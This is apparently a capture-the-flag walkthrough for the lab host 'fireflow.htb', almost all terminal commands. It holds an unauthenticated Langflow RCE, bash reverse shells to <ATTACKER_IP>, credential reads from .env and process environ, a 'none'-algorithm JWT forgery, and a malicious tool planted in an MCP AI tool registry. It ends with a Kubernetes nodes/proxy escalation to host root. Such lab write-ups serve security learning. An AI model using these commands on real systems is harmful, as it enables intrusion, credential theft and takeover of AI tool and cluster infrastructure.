01_Reconnaissance
terminal / nmap
$ nmap -p- --min-rate 5000 -sS $TARGET
$ nmap -sC -sV -A -oN nmap_report.txt $TARGET
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH (Ubuntu)
443/tcp open https nginx, TLS cert SAN *.fireflow.htb
terminal / vhost discovery
$ ffuf -u https://fireflow.htb -H "Host: FUZZ.fireflow.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt flow.fireflow.htb
02_Langflow_Unauth_RCE
terminal / build_public_tmp RCE
# listener first $ nc -lvnp 4444 $ curl -sk "https://flow.fireflow.htb/api/v1/build_public_tmp/<FLOW_ID>/flow" \ -H "Content-Type: application/json" \ --data @malicious_flow.json # malicious_flow.json's custom component runs: # os.system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'")
terminal / config leak + ssh
$ cat /etc/langflow/.env # or: cat /proc/$(pgrep -f langflow)/environ | tr '\0' '\n' | grep -i pass LANGFLOW_SUPERUSER_PASSWORD=[REDACTED] $ ssh nightfall@fireflow.htb Password: [REDACTED] nightfall@fireflow:~$ cat user.txt
03_MCP_Discovery_and_JWT_Forgery
terminal / MCP config discovery
nightfall@fireflow:~$ cat ~/.mcp/config.json nightfall@fireflow:~$ ss -tulpn # reveals an "AI Tool Registry" (MCP) account + NodePort location
terminal / forge admin jwt
$ python3
>>> import jwt
>>> token = jwt.encode(
... {"sub": "langflow-bot", "role": "admin"},
... key="", algorithm="none")
>>> print(token)
terminal / malicious tool registration
# listener first $ nc -lvnp 4445 $ curl -sk -X POST "https://<MCP_HOST>:<PORT>/api/v1/tools" \ -H "Authorization: Bearer <FORGED_JWT>" \ -H "Content-Type: application/json" \ --data '{"name":"utils","code":"import os; os.system(\"bash -c \\\"bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1\\\"\")"}' # invoke the tool via the MCP invocation endpoint → shell inside the mcp-server pod
04_Kubernetes_RBAC_to_Host_Root
terminal / SA token + RBAC check
$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) $ CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt $ curl -sk --cacert "$CACERT" -H "Authorization: Bearer $TOKEN" \ https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \ -X POST -H "Content-Type: application/json" \ --data '{"kind":"SelfSubjectAccessReview","apiVersion":"authorization.k8s.io/v1","spec":{"resourceAttributes":{"resource":"nodes/proxy","verb":"get"}}}' # allowed: true — this pod's SA can proxy to any node
terminal / kubelet exec via nodes-proxy
$ curl -sk --cacert "$CACERT" -H "Authorization: Bearer $TOKEN" \ "https://kubernetes.default.svc/api/v1/nodes/<NODE_NAME>/proxy/pods" | grep node-exporter $ curl -sk --cacert "$CACERT" -H "Authorization: Bearer $TOKEN" \ "https://<NODE_IP>:10250/exec/monitoring/<node-exporter-pod>/<container>?command=sh&input=1&output=1&tty=1" \ -X POST -H "X-Stream-Protocol-Version: v4.channel.k8s.io" $ chroot /host/root /bin/bash # whoami → root # cat /root/root.txt